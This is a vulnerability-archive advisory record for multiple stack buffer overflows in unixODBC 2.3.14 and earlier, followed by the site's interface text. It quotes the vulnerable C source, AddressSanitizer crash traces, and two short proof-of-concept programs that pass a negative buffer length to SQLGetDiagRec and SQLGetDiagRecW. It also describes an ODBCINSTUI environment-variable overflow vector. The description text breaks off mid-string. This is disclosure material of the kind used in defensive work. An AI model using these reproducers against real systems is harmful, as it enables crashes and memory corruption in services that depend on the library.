GCVE-1988-2026-0553
Vulnerability from gna-1988 – Published: 2026-11-13 01:41 – Updated: 2026-11-13 01:41| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, including arbitrarily large and off-by-one \nstack overflows. Attackers who can influence various arguments passed thereto can trigger the stack-based buffer \noverflows inside of the unixODBC driver manager itself, potentially corrupting return addresses, overwriting the stack \nwith arbitrary byes (leading to arbitrary code execution, crashes, etc.), and other such things. Given the number \nfound and that, in truth, heap and stack buffer overflows identical coding constructs and paradigms in C/C++ , we will \nonly show a few -- the rest can be obtained therefrom, treating these as templates for finding the other instances.\n\nExamples\nFrom Signing Problems to Overflows\nThe following example involves unvalidated negative `buffer_length` values being used in `SQLGetDiagRec` and \n`SQLGetDiagRecW` for `memcpy` and `strcpy` calls -- the former causing an integer wrap-around of the negative value in \na heap-based overflow, with the latter triggering an unbounded stack overflow. As every ODBC-consuming process that \nretrieves diagnostics shares this single code path -- including connection-pooling middleware and multi-tenant database \ngateways that keep Driver Manager handles alive across requests from different callers -- a single malformed \n`buffer_length` value is sufficient to crash or corrupt the memory of any process using the library regardless of the \ndriver or data source configured.\n\n```c\nstatic SQLRETURN extract_sql_error_rec( EHEAD *head,\n SQLCHAR *sqlstate,\n SQLINTEGER rec_number,\n SQLINTEGER *native_error,\n SQLCHAR *message_text,\n SQLSMALLINT buffer_length,\n SQLSMALLINT *text_length )\n{\n SQLRETURN ret;\n\n if ( sqlstate )\n strcpy((char*) sqlstate, \"00000\" );\n\n if ( rec_number \u003c= head -\u003e sql_diag_head.internal_count )\n {\n ERROR *ptr;\n SQLCHAR *as1 = NULL;\n\n ptr = head -\u003e sql_diag_head.internal_list_head;\n while( rec_number \u003e 1 )\n {\n ptr = ptr -\u003e next;\n rec_number --;\n }\n\n if ( !ptr )\n {\n return SQL_NO_DATA;\n }\n\n as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -\u003e msg, SQL_NTS, __get_connection( head ), NULL );\n\n if ( sqlstate )\n {\n unicode_to_ansi_copy((char*) sqlstate, 6, ptr -\u003e sqlstate, SQL_NTS, __get_connection( head ), NULL );\n }\n if ( buffer_length \u003c strlen((char*) as1 ) + 1 )\n {\n ret = SQL_SUCCESS_WITH_INFO;\n }\n else\n {\n ret = SQL_SUCCESS;\n }\n\n if ( message_text \u0026\u0026 as1 )\n {\n if ( ret == SQL_SUCCESS )\n {\n strcpy((char*) message_text, (char*) as1 );\n }\n else\n {\n memcpy( message_text, as1, buffer_length );\n message_text[ buffer_length - 1 ] = \u0027\\0\u0027;\n }\n }\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLGetDiagRec.c, lines 299-355\n\n```c\nstatic SQLRETURN extract_sql_error_rec_w( EHEAD *head,\n SQLWCHAR *sqlstate,\n SQLINTEGER rec_number,\n SQLINTEGER *native_error,\n SQLWCHAR *message_text,\n SQLSMALLINT buffer_length,\n SQLSMALLINT *text_length )\n{\n SQLRETURN ret;\n\n if ( sqlstate )\n {\n SQLWCHAR *tmp;\n\n tmp = ansi_to_unicode_alloc((SQLCHAR*) \"00000\", SQL_NTS, __get_connection( head ), NULL );\n wide_strcpy( sqlstate, tmp );\n free( tmp );\n }\n\n if ( rec_number \u003c= head -\u003e sql_diag_head.internal_count )\n {\n ERROR *ptr;\n\n ptr = head -\u003e sql_diag_head.internal_list_head;\n while( rec_number \u003e 1 )\n {\n ptr = ptr -\u003e next;\n rec_number --;\n }\n\n if ( !ptr )\n {\n return SQL_NO_DATA;\n }\n\n if ( sqlstate )\n {\n wide_strcpy( sqlstate, ptr -\u003e sqlstate );\n }\n if ( buffer_length \u003c wide_strlen( ptr -\u003e msg ) + 1 )\n {\n ret = SQL_SUCCESS_WITH_INFO;\n }\n else\n {\n ret = SQL_SUCCESS;\n }\n\n if ( message_text )\n {\n if ( ret == SQL_SUCCESS )\n {\n wide_strcpy( message_text, ptr -\u003e msg );\n }\n else\n {\n memcpy( message_text, ptr -\u003e msg, buffer_length * sizeof( SQLWCHAR ) );\n message_text[ buffer_length - 1 ] = \u0027\\0\u0027;\n }\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLGetDiagRecW.c, lines 186-245\n\n```text\nSQLSetEnvAttr returned: -1\n==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)\n #0 ... __asan_memcpy\n #1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17\n #2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11\n #3 ... main reprow.c:28:10\nSUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy\n==1303361==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRecW()`\n\n```text\nSQLSetEnvAttr returned: -1\n==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9282e00050 ...\nWRITE of size 62 at 0x7f9282e00050 thread T0\n #0 ... strcpy\n #1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17\n #2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11\n #3 ... main repro.c:25:10\n[32, 40) \u0027henv\u0027 (line 7)\n[64, 80) \u0027msg\u0027 (line 9) \u003c== Memory access at offset 80 overflows this variable\nSUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy\n==1302781==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRec()`\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstdio.h\u003e\n\nint main(void)\n{\n SQLHENV henv = NULL;\n SQLRETURN rc;\n SQLCHAR msg[16];\n\n SQLAllocHandle(SQL_HANDLE_ENV, NULL, \u0026henv);\n rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n fflush(stdout);\n rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n msg, (SQLSMALLINT)-1, NULL);\n printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n return 0;\n}\n```\nSample code to cause the overflow in the ANSI path\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstdio.h\u003e\n\nint main(void)\n{\n SQLHENV henv = NULL;\n SQLRETURN rc;\n SQLWCHAR msg[16];\n\n SQLAllocHandle(SQL_HANDLE_ENV, NULL, \u0026henv);\n rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n fflush(stdout);\n rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n msg, (SQLSMALLINT)-1, NULL);\n printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n return 0;\n}\n```\nSample code to cause the overflow in the wide-character path\n\nUnbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`\nWhen the caller-supplied `pszUI` is empty -- a common usage -- the `_getUIPluginName(char *pszName, char *pszUI)` \nmethod resolves the file name of the Open Database Connectivity (ODBC) installer user interface (UI) plugin by reading \nthe `ODBCINSTUI` environment variable (`getenv(\"ODBCINSTUI\")`) and copies the value thereof into the caller\u0027s buffer \nwith `sprintf(pszName, \"lib%s\", pEnvVar);`. This process is performed without any verification against the buffer\u0027s \n`FILENAME_MAX` capacity versus the value from the environment variable, so when `SQLManageDataSources()` passes its \nlocal `char szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than `FILENAME_MAX - 3` bytes \noverflows that stack buffer with attacker-chosen content.\n\nKeeping in mind that this is merely an example of a repeated design pattern within the code, rather than simply taking \nit for the single instance, the likelihood and impact of this specific instance is moot -- it merely serves to \ndemonstrate the pattern. With that said, as this is a desktop ODBC administration tool, there are two major use cases \nin play here. First, it is run by the same user who controls their own shell, making the practical effect a rather \nmundane self-inflicted crash or local denial of service. It is, however, the second use case that is more interesting: \nfor any setuid or otherwise privileged helper, or any service (e.g., a Common Gateway Interface (CGI) script or a \n`sudo` wrapper) that invokes the installer API while inheriting an untrusted caller\u0027s environment, the `ODBCINSTUI` \nenvironment variable becomes a cross-privilege-boundary stack-smashing vector. The same unbounded-`sprintf()` pattern \nalso exists for the caller-supplied `szUI` value and for the value read from `odbcinst.ini`, so any affected deployment \nis exposed through more than one input path, not simply the environment variable.\n\n```c\n/*!\n * \\brief UI to manage most ODBC system information.\n*\n * This calls into the UI plugin library to do our work for us. The caller can provide\n* the name (base name) of the library or let us determine which library to use.\n* See \\sa _getUIPluginName for details on how the choice is made.\n*\n * \\param hWnd Input. Parent window handle. This is HWND as per the ODBC\n* specification but in unixODBC we use a generic window\n* handle. Caller must cast a HODBCINSTWND to HWND at call.\n *\n * \\return BOOL\n*\n* \\sa ODBCINSTWND\n*/\nBOOL SQLManageDataSources( HWND hWnd )\n{\n HODBCINSTWND hODBCInstWnd = (HODBCINSTWND)hWnd;\n char szName[FILENAME_MAX];\n char szNameAndExtension[FILENAME_MAX];\n char szPathAndName[FILENAME_MAX];\n void * hDLL;\n BOOL (*pSQLManageDataSources)(HWND);\n\n inst_logClear();\n\n /* ODBC specification states that hWnd is mandatory. */\n if ( !hWnd )\n {\n inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_INVALID_HWND, \"No hWnd\" );\n return FALSE;\n }\n\n /* initialize libtool */\n if ( lt_dlinit() )\n {\n inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_GENERAL_ERR, \"lt_dlinit() failed\" );\n return FALSE;\n }\n#ifdef MODULEDIR\n lt_dlsetsearchpath(MODULEDIR);\n#endif\n\n /* get plugin name */\n _appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, hODBCInstWnd-\u003eszUI ) );\n```\nSnippet from `unixODBC`\u0027s odbcinst/SQLManageDataSources.c, lines 112-156\n\n```c\n/*!\n * \\brief Get the short name of the UI plugin.\n*\n * The short name is the file name without path or file extension.\n*\n* We silently prepend \"lib\" here as well.\n*\n* \\param pszName Place to put short name. Should be FILENAME_MAX bytes.\n * \\param pszUI Our generic window handle.\n*\n * \\return char* pszName returned for convenience.\n*/\nchar *_getUIPluginName( char *pszName, char *pszUI )\n{\n *pszName = \u0027\\0\u0027;\n\n /* is it being provided by caller? */\n if ( pszUI \u0026\u0026 *pszUI )\n {\n sprintf( pszName, \"lib%s\", pszUI );\n return pszName;\n }\n\n /* is it being provided by env var? */\n {\n char *pEnvVar = getenv( \"ODBCINSTUI\" );\n if ( pEnvVar )\n {\n sprintf( pszName, \"lib%s\", pEnvVar );\n return pszName;\n }\n }\n\n /* is it being provided by odbcinst.ini? */\n {\n char sz[FILENAME_MAX];\n *sz=\u0027\\0\u0027;\n SQLGetPrivateProfileString( \"ODBC\", \"ODBCINSTUI\", \"\", sz, FILENAME_MAX, \"odbcinst.ini\" );\n if ( *sz )\n {\n sprintf( pszName, \"lib%s\", sz );\n return pszName;\n }\n }\n\n /* default to qt4 */\n strcpy( pszName, ODBCINSTPLUGIN );\n\n return pszName;\n}\n```\nCode snippet from `unixODBC`\u0027s odbcinst/SQLManageDataSources.c, lines 20-69\n\n```text\n[poc] about to call "
}
],
"providerMetadata": {
"dateUpdated": "2026-11-13T01:41:18Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/16"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/16"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Stack Buffer Overflows",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0553",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16",
"automated": true,
"contentSha256": "b8db59088fb86a623e94a04867dab36b8405c8b0d354b1624b128753e4aea1bd",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-06T00:57:58Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-13T01:41:18Z",
"dateUpdated": "2026-11-13T01:41:18Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0553"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.